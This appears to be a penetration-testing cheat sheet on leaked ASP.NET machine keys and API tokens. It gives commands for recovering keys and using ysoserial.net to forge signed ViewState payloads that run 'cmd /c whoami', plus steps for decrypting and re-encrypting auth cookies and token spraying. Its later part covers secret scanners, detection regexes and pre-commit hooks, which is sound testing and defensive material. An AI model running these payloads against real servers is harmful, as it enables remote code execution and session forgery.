API Key Leaks

That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.

ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.

By default until Sept 2014, the enableViewStateMac property was to set to False. Usually unencrypted viewstate are starting with the string /wEP.

A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.

The format of a machineKey is the following.

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />

The validationKey attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.

The decryptionKey attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.

The validation attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.

The decryption attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.

The following example of a machineKey is from Microsoft documentation.

<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />

Common locations of web.config / machine.config

• 32-bits
  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
• 64-bits
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
• in the registry when AutoGenerate is enabled (extract with irsdl/machineKeyFinder.aspx)
  • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
  • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey

Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.

• isclayton/viewstalker

  ./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
  ____   ____.__                       __         .__   __
  \   \ /   /|__| ______  _  _________/  |______  |  | |  | __ ___________ 
  \   Y   / |  |/ __ \ \/ \/ /  ___/\   __\__  \ |  | |  |/ // __ \_  __ \
  \     /  |  \  ___/\     /\___ \  |  |  / __ \|  |_|    <\  ___/|  | \/
  \___/   |__|\___  >\/\_//____  > |__| (____  /____/__|_ \\___  >__|   
                  \/           \/            \/          \/    \/       
  
  KEY FOUND!!!
  Host:   
  Validation Key: XXXXX,XXXXX
  

• blacklanternsecurity/badsecrets

  python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
  Matching MachineKeys found!
  validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
  

• irsdl/crapsecrets

  python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -r
  python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -mrd 5
  python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -u http://update.microsoft.com/
  python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -u http://10.10.10.10:8080/
  python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -mkf ./crapsecrets/resources/aspnet_machinekeys.txt -u http://10.10.10.10:8080/a1/b/c1/
  

• NotSoSecure/Blacklist3r

  AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate  --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
  

• 0xacb/viewgen

  $ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
  [+] ViewState is not encrypted
  [+] Signature algorithm: SHA1
  

List of interesting machine keys to use:

• NotSoSecure/Blacklist3r/MachineKeys.txt
• isclayton/viewstalker/MachineKeys2.txt
• blacklanternsecurity/badsecrets/aspnet_machinekeys.txt

• BApp Store > ViewState Editor - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.

• 0xacb/viewgen

  viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
  

First you need to decode the Viewstate to know if the MAC and the encryption are enabled.

Requirements:

• __VIEWSTATE
• __VIEWSTATEGENERATOR

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "cmd /c whoami"

• Find the machine key (validationkey) using badsecrets, viewstalker, AspDotNetWrapper.exe or viewgen

  AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate  --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
  # --modifier = `__VIEWSTATEGENERATOR` parameter value
  # --encrypteddata = `__VIEWSTATE` parameter value of the target application
  

• Then generate a ViewState using pwntester/ysoserial.net, both TextFormattingRunProperties and TypeConfuseDelegate gadgets can be used.

  .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
  .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
  
  # --generator = `__VIEWSTATEGENERATOR` parameter value
  # --validationkey = validation key from the previous command
  

Default validation algorithm is HMACSHA256 and the default decryption algorithm is AES.

If the __VIEWSTATEGENERATOR is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: --apppath="/testaspx/").

• .NET Framework < 4.5, ASP.NET always accepts an unencrypted __VIEWSTATE if you remove the __VIEWSTATEENCRYPTED parameter from the request

  .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
  

• .NET Framework > 4.5, the machineKey has the property: compatibilityMode="Framework45"

  .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
  

If you have the machineKey but the viewstate is disabled.

ASP.net Forms Authentication Cookies : liquidsec/aspnetCryptTools

# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes

# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt

API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.

• aquasecurity/trivy - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets.

• blacklanternsecurity/badsecrets - A library for detecting known or weak secrets on across many platforms.

• irsdl/crapsecrets - A library for detecting known secrets across many web frameworks.

• d0ge/sign-saboteur - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens.

• mazen160/secrets-patterns-db - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.

• momenbasel/KeyFinder - is a tool that let you find keys while surfing the web.

• streaak/keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.

• trufflesecurity/truffleHog - Find credentials all over the place.

• projectdiscovery/nuclei-templates - Use these templates to test an API token against many API service endpoints.

  nuclei -t token-spray/ -var token=token_list.txt
  

• API Keys: Unique identifiers used to authenticate requests associated with your project or application.
• Tokens: Security tokens (like OAuth tokens) that grant access to protected resources.

• Hardcoding in Source Code: Developers may unintentionally leave API keys or tokens directly in the source code.

  # Example of hardcoded API key
  api_key = "1234567890abcdef"
  

• Public Repositories: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.

  ## Scan a Github Organization
  docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
  
  ## Scan a GitHub Repository, its Issues and Pull Requests
  docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
  

• Hardcoding in Docker Images: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.

  # Scan a Docker image for verified secrets
  docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
  

• Logs and Debug Information: Keys and tokens might be inadvertently logged or printed during debugging processes.

• Configuration Files: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).

If assistance is needed in identifying the service that generated the token, mazen160/secrets-patterns-db can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.

patterns:
  - pattern:
      name: AWS API Gateway
      regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
      confidence: low
  - pattern:
      name: AWS API Key
      regex: AKIA[0-9A-Z]{16}
      confidence: high

Use streaak/keyhacks or read the documentation of the service to find a quick way to verify the validity of an API key.

• Example: Telegram Bot API Token

  curl https://api.telegram.org/bot<TOKEN>/getMe
  

Check the existence of a private key or AWS credentials before committing your changes in a GitHub repository.

Add these lines to your .pre-commit-config.yaml file.

-   repo: https://github.com/pre-commit/pre-commit-hooks
    rev: v3.2.0
    hooks:
    -   id: detect-aws-credentials
    -   id: detect-private-key